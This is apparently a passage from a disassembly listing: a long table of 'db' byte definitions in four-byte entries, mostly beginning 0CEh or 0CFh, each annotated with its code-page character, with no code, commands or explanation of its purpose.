		db 0F9h	; Ы
		db    8	;  
		db 0CEh	; н
		db 0A6h	; і
		db  53h	; S
		db  16h	;  
		db 0CEh	; н
		db 0AAh	; ╙
		db 0B2h	; ╡
		db    2	;  
		db 0CEh	; н
		db 0AAh	; ╙
		db 0B2h	; ╡
		db    5	;  
		db 0CEh	; н
		db 0AAh	; ╙
		db  3Eh	; >
		db  42h	; B
		db 0CEh	; н
		db 0ABh	; ╚
		db  68h	; h
		db    2	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db  6Ah	; j
		db    2	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db  7Ch	; |
		db  1Eh	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0A0h	; ═
		db  0Ah	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0ABh	; ╚
		db    3	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0B0h	; ╟
		db    2	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0BEh	; Ў
		db    2	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0BEh	; Ў
		db    3	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db    2	;  
		db    5	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0DDh	; щ
		db  14h	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0DDh	; щ
		db  15h	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db 0E8h	; Х
		db 0BBh	; ╩
		db 0CEh	; н
		db 0ABh	; ╚
		db  36h	; 6
		db    2	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db  43h	; C
		db  0Ah	;  
		db 0CEh	; н
		db 0ABh	; ╚
		db  50h	; P
		db  98h	; ≤
		db 0CEh	; н
		db 0ABh	; ╚
		db  53h	; S
		db  0Ah	;  
		db 0CEh	; н
		db 0ADh	; ґ
		db  77h	; w
		db  48h	; H
		db 0CEh	; н
		db 0ADh	; ґ
		db  8Ah	; ┼
		db  4Eh	; N
		db 0CEh	; н
		db 0AFh	; ╞
		db  88h	; ┬
		db  76h	; v
		db 0CEh	; н
		db 0B0h	; ╟
		db  94h	; ■
		db  22h	; "
		db 0CEh	; н
		db 0B4h	; Є
		db 0A2h	; ╒
		db    6	;  
		db 0CEh	; н
		db 0B4h	; Є
		db 0A2h	; ╒
		db    9	;  
		db 0CEh	; н
		db 0B4h	; Є
		db 0C0h	; ю
		db  82h	; ┌
		db 0CEh	; н
		db 0B4h	; Є
		db 0CFh	; о
		db    1	;  
		db 0CEh	; н
		db 0B4h	; Є
		db 0CFh	; о
		db    5	;  
		db 0CEh	; н
		db 0B4h	; Є
		db 0E0h	; Ю
		db 0D8h	; ь
		db 0CEh	; н
		db 0B5h	; ╣
		db 0D0h	; п
		db    3	;  
		db 0CEh	; н
		db 0B5h	; ╣
		db  16h	;  
		db  42h	; B
		db 0CEh	; н
		db 0B5h	; ╣
		db  21h	; !
		db  12h	;  
		db 0CEh	; н
		db 0B5h	; ╣
		db  60h	; `
		db    2	;  
		db 0CEh	; н
		db 0B5h	; ╣
		db  62h	; b
		db  85h	; ┘
		db 0CEh	; н
		db 0B5h	; ╣
		db  62h	; b
		db  86h	; ├
		db 0CEh	; н
		db 0B7h	; Ї
		db 0E0h	; Ю
		db    7	;  
		db 0CEh	; н
		db 0B7h	; Ї
		db 0E0h	; Ю
		db    8	;  
		db 0CEh	; н
		db 0B7h	; Ї
		db 0E2h	; Б
		db  0Ah	;  
		db 0CEh	; н
		db 0BAh	; ╨
		db  7Ah	; z
		db    2	;  
		db 0CEh	; н
		db 0BAh	; ╨
		db  96h	; √
		db    1	;  
		db 0CEh	; н
		db 0BFh	; ©
		db    0	;  
		db  8Ch	; ▄
		db 0CEh	; н
		db 0BFh	; ©
		db    0	;  
		db 0D2h	; р
		db 0CEh	; н
		db 0BFh	; ©
		db    0	;  
		db  2Ah	; *
		db 0CEh	; н
		db 0BFh	; ©
		db 0C1h	; а
		db    1	;  
		db 0CEh	; н
		db 0BFh	; ©
		db 0C1h	; а
		db    2	;  
		db 0CEh	; н
		db 0BFh	; ©
		db  52h	; R
		db 0E1h	; А
		db 0CEh	; н
		db 0BFh	; ©
		db  52h	; R
		db 0E2h	; Б
		db 0CEh	; н
		db 0BFh	; ©
		db  53h	; S
		db 0E1h	; А
		db 0CEh	; н
		db 0C2h	; б
		db  0Ah	;  
		db  0Dh	;  
		db 0CEh	; н
		db 0C2h	; б
		db  0Ah	;  
		db  0Eh	;  
		db 0CEh	; н
		db 0C4h	; д
		db  80h	; ─
		db    1	;  
		db 0CEh	; н
		db 0C5h	; е
		db  51h	; Q
		db  0Bh	;  
		db 0CEh	; н
		db 0C9h	; и
		db  13h	;  
		db 0F1h	; Я
		db 0CEh	; н
		db 0CCh	; л
		db 0D2h	; р
		db    9	;  
		db 0CEh	; н
		db 0CCh	; л
		db 0EBh	; К
		db    3	;  
		db 0CEh	; н
		db 0CCh	; л
		db    4	;  
		db    6	;  
		db 0CEh	; н
		db 0CDh	; м
		db 0F2h	; Р
		db  84h	; └
		db 0CEh	; н
		db 0D0h	; п
		db  3Ah	; :
		db  0Ch	;  
		db 0CEh	; н
		db 0D0h	; п
		db  3Ah	; :
		db  0Dh	;  
		db 0CEh	; н
		db  15h	;  
		db  6Eh	; n
		db    2	;  
		db 0CEh	; н
		db  15h	;  
		db  0Dh	;  
		db    5	;  
		db 0CEh	; н
		db  15h	;  
		db  0Eh	;  
		db  90h	; ░
		db 0CEh	; н
		db  15h	;  
		db 0AEh	; ў
		db  14h	;  
		db 0CEh	; н
		db  15h	;  
		db 0AEh	; ў
		db  15h	;  
		db 0CEh	; н
		db  15h	;  
		db 0C0h	; ю
		db 0FAh	; З
		db 0CEh	; н
		db  15h	;  
		db 0D2h	; р
		db  14h	;  
		db 0CEh	; н
		db  15h	;  
		db 0E4h	; Д
		db 0C6h	; ф
		db 0CEh	; н
		db  15h	;  
		db  5Eh	; ^
		db    2	;  
		db 0CEh	; н
		db 0D3h	; с
		db  7Bh	; {
		db  32h	; 2
		db 0CEh	; н
		db 0D3h	; с
		db  7Eh	; ~
		db  32h	; 2
		db 0CEh	; н
		db 0D8h	; ь
		db  8Fh	; ▐
		db    2	;  
		db 0CEh	; н
		db 0DDh	; щ
		db  80h	; ─
		db    1	;  
		db 0CEh	; н
		db 0DDh	; щ
		db 0F0h	; П
		db  42h	; B
		db 0CEh	; н
		db 0DEh	; ч
		db    1	;  
		db    2	;  
		db 0CEh	; н
		db 0DEh	; ч
		db    1	;  
		db    3	;  
		db 0CEh	; н
		db 0DEh	; ч
		db  61h	; a
		db  32h	; 2
		db 0CEh	; н
		db 0DEh	; ч
		db  61h	; a
		db  52h	; R
		db 0CEh	; н
		db 0DEh	; ч
		db  61h	; a
		db  5Eh	; ^
		db 0CEh	; н
		db 0E4h	; Д
		db 0B3h	; Ё
		db  0Ah	;  
		db 0CEh	; н
		db 0E4h	; Д
		db 0D0h	; п
		db  0Ah	;  
		db 0CEh	; н
		db 0E4h	; Д
		db 0D4h	; т
		db    2	;  
		db 0CEh	; н
		db 0E5h	; Е
		db 0E0h	; Ю
		db  0Ah	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  90h	; ░
		db  0Ah	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  90h	; ░
		db  14h	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  92h	; ▓
		db  0Bh	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  92h	; ▓
		db  0Ch	;  
		db 0CEh	; н
		db 0E7h	; Г
		db 0B2h	; ╡
		db  42h	; B
		db 0CEh	; н
		db 0E7h	; Г
		db 0B6h	; І
		db  22h	; "
		db 0CEh	; н
		db 0E7h	; Г
		db  13h	;  
		db 0C8h	; х
		db 0CEh	; н
		db 0E7h	; Г
		db 0FAh	; З
		db    9	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  41h	; A
		db    1	;  
		db 0CEh	; н
		db 0E7h	; Г
		db  41h	; A
		db    2	;  
		db 0CEh	; н
		db 0E7h	; Г
		db    8	;  
		db    2	;  
		db 0CEh	; н
		db 0E7h	; Г
		db    8	;  
		db    3	;  
		db 0CEh	; н
		db  18h	;  
		db 0A4h	; є
		db 0A2h	; ╒
		db 0CEh	; н
		db 0F1h	; Я
		db 0C0h	; ю
		db  92h	; ▓
		db 0CEh	; н
		db 0F1h	; Я
		db 0C0h	; ю
		db 0ABh	; ╚
		db 0CEh	; н
		db 0F4h	; Т
		db 0B7h	; Ї
		db    5	;  
		db 0CEh	; н
		db 0F6h	; Ж
		db 0C2h	; б
		db    7	;  
		db 0CEh	; н
		db 0F8h	; Ь
		db  6Eh	; n
		db  0Ah	;  
		db 0CEh	; н
		db  19h	;  
		db 0B7h	; Ї
		db  34h	; 4
		db 0CEh	; н
		db  19h	;  
		db 0CEh	; н
		db    1	;  
		db 0CEh	; н
		db  19h	;  
		db 0E2h	; Б
		db    2	;  
		db 0CEh	; н
		db 0FBh	; Ш
		db 0A2h	; ╒
		db    1	;  
		db 0CEh	; н
		db 0FBh	; Ш
		db 0C0h	; ю
		db    1	;  
		db 0CEh	; н
		db 0FBh	; Ш
		db 0C0h	; ю
		db    3	;  
		db 0CEh	; н
		db 0FBh	; Ш
		db    8	;  
		db  14h	;  
		db 0CEh	; н
		db 0FBh	; Ш
		db    8	;  
		db  18h	;  
		db 0CEh	; н
		db 0FCh	; Э
		db  80h	; ─
		db  0Bh	;  
		db 0CEh	; н
		db 0FCh	; Э
		db  80h	; ─
		db    5	;  
		db 0CEh	; н
		db 0FCh	; Э
		db 0C0h	; ю
		db    5	;  
		db 0CEh	; н
		db 0FCh	; Э
		db 0C0h	; ю
		db    6	;  
		db 0CEh	; н
		db 0FDh	; Щ
		db 0C2h	; б
		db  41h	; A
		db 0CEh	; н
		db 0FDh	; Щ
		db 0C2h	; б
		db  61h	; a
		db 0CEh	; н
		db 0FDh	; Щ
		db 0E1h	; А
		db    1	;  
		db 0CEh	; н
		db 0FDh	; Щ
		db 0E1h	; А
		db 0FBh	; Ш
		db 0CEh	; н
		db 0FDh	; Щ
		db 0EDh	; М
		db  3Ch	; <
		db 0CEh	; н
		db 0FDh	; Щ
		db  5Eh	; ^
		db    1	;  
		db 0CEh	; н
		db 0FDh	; Щ
		db  5Fh	; _
		db    1	;  
		db 0CEh	; н
		db 0FDh	; Щ
		db  5Fh	; _
		db  0Ah	;  
		db 0CEh	; н
		db  1Ah	;  
		db 0E2h	; Б
		db  0Fh	;  
		db 0CEh	; н
		db  1Ah	;  
		db  24h	; $
		db  22h	; "
		db 0CEh	; н
		db  1Ch	;  
		db  9Dh	; ²
		db  42h	; B
		db 0CEh	; н
		db  1Dh	;  
		db  74h	; t
		db  1Bh	;  
		db 0CEh	; н
		db  1Dh	;  
		db 0B2h	; ╡
		db    1	;  
		db 0CEh	; н
		db  1Dh	;  
		db  4Dh	; M
		db    2	;  
		db 0CEh	; н
		db  1Dh	;  
		db  62h	; b
		db  0Ah	;  
		db 0CEh	; н
		db  1Dh	;  
		db  62h	; b
		db  3Ch	; <
		db 0CEh	; н
		db  1Eh	;  
		db 0A3h	; ё
		db    2	;  
		db 0CEh	; н
		db  1Eh	;  
		db 0DCh	; э
		db    2	;  
		db 0CEh	; н
		db  1Eh	;  
		db  61h	; a
		db  0Ch	;  
		db 0CEh	; н
		db  1Eh	;  
		db  61h	; a
		db  0Fh	;  
		db 0CEh	; н
		db  1Fh	;  
		db  0Ah	;  
		db  0Eh	;  
		db 0CEh	; н
		db  1Fh	;  
		db  0Ah	;  
		db  0Fh	;  
		db 0CEh	; н
		db  1Fh	;  
		db  6Fh	; o
		db  19h	;  
		db 0CEh	; н
		db  1Fh	;  
		db  80h	; ─
		db  1Ch	;  
		db 0CEh	; н
		db  1Fh	;  
		db  84h	; └
		db 0FAh	; З
		db 0CEh	; н
		db  1Fh	;  
		db  8Bh	; ▀
		db  0Ah	;  
		db 0CEh	; н
		db  1Fh	;  
		db  8Bh	; ▀
		db  0Bh	;  
		db 0CEh	; н
		db  1Fh	;  
		db  9Ah	;  
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0BEh	; Ў
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0BEh	; Ў
		db  15h	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0C0h	; ю
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0C0h	; ю
		db    3	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0C1h	; а
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db    2	;  
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db    2	;  
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0CCh	; л
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0CCh	; л
		db  0Bh	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0D8h	; ь
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db  16h	;  
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0E6h	; Ф
		db  0Ah	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0ECh	; Л
		db  0Ah	;  
		db 0CEh	; н
		db  1Fh	;  
		db 0FEh	; Ч
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db  1Ah	;  
		db    3	;  
		db 0CEh	; н
		db  1Fh	;  
		db  1Ch	;  
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db  20h	;  
		db  13h	;  
		db 0CEh	; н
		db  1Fh	;  
		db  20h	;  
		db    6	;  
		db 0CEh	; н
		db  1Fh	;  
		db  2Bh	; +
		db 0EFh	; О
		db 0CEh	; н
		db  1Fh	;  
		db  2Fh	; /
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db  32h	; 2
		db    2	;  
		db 0CEh	; н
		db  1Fh	;  
		db  38h	; 8
		db    1	;  
		db 0CEh	; н
		db  1Fh	;  
		db  63h	; c
		db  0Ah	;  
		db 0CEh	; н
		db  22h	; "
		db 0B2h	; ╡
		db    2	;  
		db 0CEh	; н
		db  22h	; "
		db 0B5h	; ╣
		db  0Fh	;  
		db 0CEh	; н
		db  22h	; "
		db 0B5h	; ╣
		db  10h	;  
		db 0CEh	; н
		db  25h	; %
		db 0CEh	; н
		db  44h	; D
		db 0CEh	; н
		db  25h	; %
		db 0CEh	; н
		db  45h	; E
		db 0CEh	; н
		db  26h	; &
		db  23h	; #
		db    3	;  
		db 0CEh	; н
		db  29h	; )
		db  80h	; ─
		db  22h	; "
		db 0CEh	; н
		db  29h	; )
		db  80h	; ─
		db  26h	; &
		db 0CEh	; н
		db  29h	; )
		db 0B0h	; ╟
		db  64h	; d
		db 0CEh	; н
		db  2Eh	; .
		db 0FEh	; Ч
		db  0Dh	;  
		db 0CEh	; н
		db  2Fh	; /
		db  74h	; t
		db    2	;  
		db 0CEh	; н
		db  2Fh	; /
		db  0Fh	;  
		db    3	;  
		db 0CEh	; н
		db  2Fh	; /
		db  96h	; √
		db 0B0h	; ╟
		db 0CEh	; н
		db  2Fh	; /
		db  96h	; √
		db 0E1h	; А
		db 0CEh	; н
		db  2Fh	; /
		db 0EFh	; О
		db  21h	; !
		db 0CEh	; н
		db  31h	; 1
		db  5Eh	; ^
		db 0EAh	; Й
		db 0CEh	; н
		db  32h	; 2
		db  38h	; 8
		db 0FAh	; З
		db 0CEh	; н
		db  33h	; 3
		db  16h	;  
		db    1	;  
		db 0CEh	; н
		db  33h	; 3
		db  1Bh	;  
		db    1	;  
		db 0CEh	; н
		db  34h	; 4
		db    4	;  
		db    3	;  
		db 0CEh	; н
		db  36h	; 6
		db 0E0h	; Ю
		db    1	;  
		db 0CEh	; н
		db  3Dh	; =
		db    0	;  
		db    2	;  
		db 0CEh	; н
		db  3Dh	; =
		db    0	;  
		db    4	;  
		db 0CEh	; н
		db  3Dh	; =
		db  6Ch	; l
		db  0Ah	;  
		db 0CEh	; н
		db  3Dh	; =
		db  8Ch	; ▄
		db  0Bh	;  
		db 0CEh	; н
		db  3Dh	; =
		db  9Bh	; ⌡
		db  0Bh	;  
		db 0CEh	; н
		db  3Dh	; =
		db  9Eh	; ·
		db  6Eh	; n
		db 0CEh	; н
		db  3Dh	; =
		db 0B2h	; ╡
		db    5	;  
		db 0CEh	; н
		db  3Dh	; =
		db 0DFh	; ъ
		db  0Ch	;  
		db 0CEh	; н
		db  3Dh	; =
		db  23h	; #
		db    3	;  
		db 0CEh	; н
		db  42h	; B
		db  0Ah	;  
		db  2Eh	; .
		db 0CEh	; н
		db  42h	; B
		db  0Ah	;  
		db  5Eh	; ^
		db 0CEh	; н
		db  42h	; B
		db  0Ch	;  
		db  1Eh	;  
		db 0CEh	; н
		db  42h	; B
		db  0Ch	;  
		db  24h	; $
		db 0CEh	; н
		db  42h	; B
		db 0F0h	; П
		db 0FEh	; Ч
		db 0CEh	; н
		db    7	;  
		db  1Fh	;  
		db 0C8h	; х
		db 0CEh	; н
		db  46h	; F
		db 0FBh	; Ш
		db 0E6h	; Ф
		db 0CEh	; н
		db  47h	; G
		db 0A1h	; ║
		db  0Bh	;  
		db 0CEh	; н
		db  47h	; G
		db 0A1h	; ║
		db    2	;  
		db 0CEh	; н
		db  47h	; G
		db  4Dh	; M
		db    2	;  
		db 0CEh	; н
		db  48h	; H
		db  80h	; ─
		db  22h	; "
		db 0CEh	; н
		db  48h	; H
		db  80h	; ─
		db  62h	; b
		db 0CEh	; н
		db  4Ah	; J
		db 0FEh	; Ч
		db    2	;  
		db 0CEh	; н
		db  4Bh	; K
		db 0D8h	; ь
		db 0C8h	; х
		db 0CEh	; н
		db  4Bh	; K
		db 0D8h	; ь
		db 0D2h	; р
		db 0CEh	; н
		db  4Eh	; N
		db  92h	; ▓
		db    2	;  
		db 0CEh	; н
		db  4Eh	; N
		db  40h	; @
		db    2	;  
		db 0CEh	; н
		db  4Fh	; O
		db 0ABh	; ╚
		db  27h	; '
		db 0CEh	; н
		db  4Fh	; O
		db 0E6h	; Ф
		db  0Ah	;  
		db 0CEh	; н
		db  4Fh	; O
		db    7	;  
		db  32h	; 2
		db 0CEh	; н
		db  50h	; P
		db 0A7h	; ї
		db 0F5h	; У
		db 0CEh	; н
		db  53h	; S
		db 0A0h	; ═
		db    5	;  
		db 0CEh	; н
		db  53h	; S
		db 0A0h	; ═
		db    7	;  
		db 0CEh	; н
		db  53h	; S
		db  60h	; `
		db  0Ch	;  
		db 0CEh	; н
		db  57h	; W
		db  8Dh	; █
		db    1	;  
		db 0CEh	; н
		db  57h	; W
		db  10h	;  
		db    2	;  
		db 0CEh	; н
		db  58h	; X
		db    0	;  
		db  22h	; "
		db 0CEh	; н
		db  58h	; X
		db    0	;  
		db  42h	; B
		db 0CEh	; н
		db    9	;  
		db  70h	; p
		db  64h	; d
		db 0CEh	; н
		db    9	;  
		db  70h	; p
		db  65h	; e
		db 0CEh	; н
		db    9	;  
		db  40h	; @
		db  64h	; d
		db 0CEh	; н
		db    9	;  
		db  40h	; @
		db  68h	; h
		db 0CEh	; н
		db    9	;  
		db  50h	; P
		db  0Bh	;  
		db 0CEh	; н
		db    9	;  
		db  54h	; T
		db    2	;  
		db 0CEh	; н
		db  60h	; `
		db  6Ch	; l
		db    2	;  
		db 0CEh	; н
		db  60h	; `
		db 0E2h	; Б
		db    1	;  
		db 0CEh	; н
		db  60h	; `
		db 0E2h	; Б
		db    6	;  
		db 0CEh	; н
		db  60h	; `
		db  3Eh	; >
		db  10h	;  
		db 0CEh	; н
		db  62h	; b
		db  72h	; r
		db  0Ah	;  
		db 0CEh	; н
		db  62h	; b
		db  72h	; r
		db  14h	;  
		db 0CEh	; н
		db  62h	; b
		db  8Ah	; ┼
		db    2	;  
		db 0CEh	; н
		db  62h	; b
		db  8Ah	; ┼
		db    3	;  
		db 0CEh	; н
		db  62h	; b
		db 0A7h	; ї
		db    2	;  
		db 0CEh	; н
		db  62h	; b
		db 0CAh	; й
		db  24h	; $
		db 0CEh	; н
		db  62h	; b
		db 0CAh	; й
		db  47h	; G
		db 0CEh	; н
		db  62h	; b
		db 0CAh	; й
		db  49h	; I
		db 0CEh	; н
		db  63h	; c
		db  91h	; ▒
		db    1	;  
		db 0CEh	; н
		db  63h	; c
		db 0ABh	; ╚
		db    1	;  
		db 0CEh	; н
		db  63h	; c
		db 0ABh	; ╚
		db  0Ah	;  
		db 0CEh	; н
		db  63h	; c
		db  42h	; B
		db  21h	; !
		db 0CFh	; о
		db    0	;  
		db  81h	; │
		db 0B7h	; Ї
		db 0CFh	; о
		db    0	;  
		db  81h	; │
		db 0BEh	; Ў
		db 0CFh	; о
		db    0	;  
		db 0E5h	; Е
		db 0FCh	; Э
		db 0CFh	; о
		db    1	;  
		db  7Ah	; z
		db  19h	;  
		db 0CFh	; о
		db    1	;  
		db  86h	; ├
		db  22h	; "
		db 0CFh	; о
		db    1	;  
		db 0A0h	; ═
		db 0A3h	; ё
		db 0CFh	; о
		db    1	;  
		db 0C7h	; г
		db  45h	; E
		db 0CFh	; о
		db    1	;  
		db  3Ch	; <
		db    2	;  
		db 0CFh	; о
		db    1	;  
		db  49h	; I
		db  15h	;  
		db 0CFh	; о
		db  0Ah	;  
		db  80h	; ─
		db  2Eh	; .
		db 0CFh	; о
		db  0Ah	;  
		db  80h	; ─
		db  2Fh	; /
		db 0CFh	; о
		db  65h	; e
		db  50h	; P
		db  7Ch	; |
		db 0CFh	; о
		db  65h	; e
		db  50h	; P
		db  62h	; b
		db 0CFh	; о
		db  66h	; f
		db  81h	; │
		db    1	;  
		db 0CFh	; о
		db  66h	; f
		db  81h	; │
		db  82h	; ┌
		db 0CFh	; о
		db  66h	; f
		db  81h	; │
		db    2	;  
		db 0CFh	; о
		db  67h	; g
		db    0	;  
		db    2	;  
		db 0CFh	; о
		db  67h	; g
		db  0Bh	;  
		db    9	;  
		db 0CFh	; о
		db  67h	; g
		db 0CEh	; н
		db  43h	; C
		db 0CFh	; о
		db  68h	; h
		db  97h	; ≈
		db  0Ah	;  
		db 0CFh	; о
		db  69h	; i
		db 0BDh	; Ґ
		db    2	;  
		db 0CFh	; о
		db  6Ah	; j
		db    1	;  
		db    2	;  
		db 0CFh	; о
		db  6Dh	; m
		db  55h	; U
		db  3Ah	; :
		db 0CFh	; о
		db  6Dh	; m
		db  55h	; U
		db  3Bh	; ;
		db 0CFh	; о
		db  0Bh	;  
		db  70h	; p
		db  3Ch	; <
		db 0CFh	; о
		db  0Bh	;  
		db    7	;  
		db  2Bh	; +
		db 0CFh	; о
		db  0Bh	;  
		db    7	;  
		db  34h	; 4
		db 0CFh	; о
		db  6Eh	; n
		db    0	;  
		db  80h	; ─
		db 0CFh	; о
		db  6Eh	; n
		db    0	;  
		db  3Ch	; <
		db 0CFh	; о
		db  6Fh	; o
		db 0A0h	; ═
		db    3	;  
		db 0CFh	; о
		db  6Fh	; o
		db 0A0h	; ═
		db    4	;  
		db 0CFh	; о
		db  6Fh	; o
		db 0E8h	; Х
		db  17h	;  
		db 0CFh	; о
		db  70h	; p
		db 0F8h	; Ь
		db  52h	; R
		db 0CFh	; о
		db  71h	; q
		db  86h	; ├
		db    9	;  
		db 0CFh	; о
		db  73h	; s
		db 0DDh	; щ
		db  30h	; 0
		db 0CFh	; о
		db  79h	; y
		db    2	;  
		db  6Dh	; m
		db 0CFh	; о
		db  79h	; y
		db 0D9h	; ы
		db    2	;  
		db 0CFh	; о
		db  79h	; y
		db 0F1h	; Я
		db  8Ah	; ┼
		db 0CFh	; о
		db  79h	; y
		db  34h	; 4
		db    2	;  
		db 0CFh	; о
		db  79h	; y
		db  34h	; 4
		db    4	;  
		db 0CFh	; о
		db  79h	; y
		db  5Ah	; Z
		db  32h	; 2
		db 0CFh	; о
		db  7Ah	; z
		db  49h	; I
		db  4Bh	; K
		db 0CFh	; о
		db  7Eh	; ~
		db  69h	; i
		db  92h	; ▓
		db 0CFh	; о
		db  7Eh	; ~
		db  60h	; `
		db 0A2h	; ╒
		db 0CFh	; о
		db  7Fh	; 
		db  65h	; e
		db    8	;  
		db 0CFh	; о
		db  82h	; ┌
		db  5Fh	; _
		db  28h	; (
		db 0CFh	; о
		db  84h	; └
		db  74h	; t
		db    5	;  
		db 0CFh	; о
		db  84h	; └
		db  74h	; t
		db  3Ch	; <
		db 0CFh	; о
		db  85h	; ┘
		db  94h	; ■
		db 0F5h	; У
		db 0CFh	; о
		db  85h	; ┘
		db  96h	; √
		db 0F5h	; У
		db 0CFh	; о
		db  85h	; ┘
		db 0F8h	; Ь
		db 0F5h	; У
		db 0CFh	; о
		db  85h	; ┘
		db  42h	; B
		db 0F5h	; У
		db 0CFh	; о
		db  8Ah	; ┼
		db  74h	; t
		db  24h	; $
		db 0CFh	; о
		db  8Ch	; ▄
		db  94h	; ■
		db  14h	;  
		db 0CFh	; о
		db  8Ch	; ▄
		db    8	;  
		db  0Ah	;  
		db 0CFh	; о
		db  8Ch	; ▄
		db    8	;  
		db    3	;  
		db 0CFh	; о
		db  8Dh	; █
		db    1	;  
		db 0C9h	; и
		db 0CFh	; о
		db  8Dh	; █
		db  68h	; h
		db    6	;  
		db 0CFh	; о
		db  8Dh	; █
		db  6Bh	; k
		db  0Bh	;  
		db 0CFh	; о
		db  8Dh	; █
		db  6Eh	; n
		db    8	;  
		db 0CFh	; о
		db  8Dh	; █
		db  96h	; √
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db  96h	; √
		db    3	;  
		db 0CFh	; о
		db  8Dh	; █
		db  99h	; ≥
		db  0Ah	;  
		db 0CFh	; о
		db  8Dh	; █
		db  99h	; ≥
		db  1Eh	;  
		db 0CFh	; о
		db  8Dh	; █
		db 0B1h	; ╠
		db  0Ah	;  
		db 0CFh	; о
		db  8Dh	; █
		db  14h	;  
		db  14h	;  
		db 0CFh	; о
		db  8Dh	; █
		db 0C9h	; и
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db  17h	;  
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db  18h	;  
		db    1	;  
		db 0CFh	; о
		db  8Dh	; █
		db  18h	;  
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db 0FAh	; З
		db  22h	; "
		db 0CFh	; о
		db  8Dh	; █
		db 0FDh	; Щ
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db    4	;  
		db  65h	; e
		db 0CFh	; о
		db  8Dh	; █
		db    5	;  
		db 0FCh	; Э
		db 0CFh	; о
		db  8Dh	; █
		db  37h	; 7
		db    2	;  
		db 0CFh	; о
		db  8Dh	; █
		db  38h	; 8
		db  0Bh	;  
		db 0CFh	; о
		db  8Dh	; █
		db  38h	; 8
		db  0Ch	;  
		db 0CFh	; о
		db  8Dh	; █
		db  3Eh	; >
		db  3Eh	; >
		db 0CFh	; о
		db  0Fh	;  
		db 0D0h	; п
		db  11h	;  
		db 0CFh	; о
		db  0Fh	;  
		db 0D0h	; п
		db  12h	;  
		db 0CFh	; о
		db  96h	; √
		db 0C0h	; ю
		db    4	;  
		db 0CFh	; о
		db  96h	; √
		db 0CAh	; й
		db 0FAh	; З
		db 0CFh	; о
		db  97h	; ≈
		db  98h	; ≤
		db    2	;  
		db 0CFh	; о
		db  97h	; ≈
		db 0EDh	; М
		db  12h	;  
		db 0CFh	; о
		db  97h	; ≈
		db  4Fh	; O
		db  96h	; √
		db 0CFh	; о
		db  99h	; ≥
		db 0CEh	; н
		db  7Eh	; ~
		db 0CFh	; о
		db  9Bh	; ⌡
		db 0B7h	; Ї
		db  48h	; H
		db 0CFh	; о
		db  9Bh	; ⌡
		db 0B7h	; Ї
		db  49h	; I
		db 0CFh	; о
		db  9Bh	; ⌡
		db 0B8h	; ╦
		db  48h	; H
		db 0CFh	; о
		db  9Bh	; ⌡
		db    2	;  
		db    3	;  
		db 0CFh	; о
		db  9Eh	; ·
		db 0C0h	; ю
		db  28h	; (
		db 0CFh	; о
		db  9Fh	; ÷
		db  80h	; ─
		db  0Ah	;  
		db 0CFh	; о
		db  9Fh	; ÷
		db  80h	; ─
		db    2	;  
		db 0CFh	; о
		db  9Fh	; ÷
		db 0ABh	; ╚
		db  7Bh	; {
		db 0CFh	; о
		db  9Fh	; ÷
		db 0ABh	; ╚
		db  59h	; Y
		db 0CFh	; о
		db  9Fh	; ÷
		db 0B4h	; Є
		db  17h	;  
		db 0CFh	; о
		db  9Fh	; ÷
		db  5Eh	; ^
		db  66h	; f
		db 0CFh	; о
		db 0A4h	; є
		db    7	;  
		db    3	;  
		db 0CFh	; о
		db 0A4h	; є
		db    7	;  
		db    9	;  
		db 0CFh	; о
		db 0A4h	; є
		db  50h	; P
		db 0F0h	; П
		db 0CFh	; о
		db 0A5h	; ╔
		db  60h	; `
		db  21h	; !
		db 0CFh	; о
		db 0A5h	; ╔
		db  60h	; `
		db  27h	; '
		db 0CFh	; о
		db 0A6h	; і
		db  35h	; 5
		db    3	;  
		db 0CFh	; о
		db 0A6h	; і
		db  36h	; 6
		db  50h	; P
		db 0CFh	; о
		db 0A8h	; ╗
		db  5Dh	; ]
		db    2	;  
		db 0CFh	; о
		db 0A8h	; ╗
		db  5Dh	; ]
		db    3	;  
		db 0CFh	; о
		db  11h	;  
		db  3Eh	; >
		db  81h	; │
		db 0CFh	; о
		db 0AAh	; ╙
		db 0D2h	; р
		db 0A2h	; ╒
		db 0CFh	; о
		db 0ABh	; ╚
		db    0	;  
		db  0Ah	;  
		db 0CFh	; о
		db 0ABh	; ╚
		db    0	;  
		db    9	;  
		db 0CFh	; о
		db 0ABh	; ╚
		db  80h	; ─
		db    2	;  
		db 0CFh	; о
		db 0ABh	; ╚
		db  80h	; ─
		db    5	;  
		db 0CFh	; о
		db 0ABh	; ╚
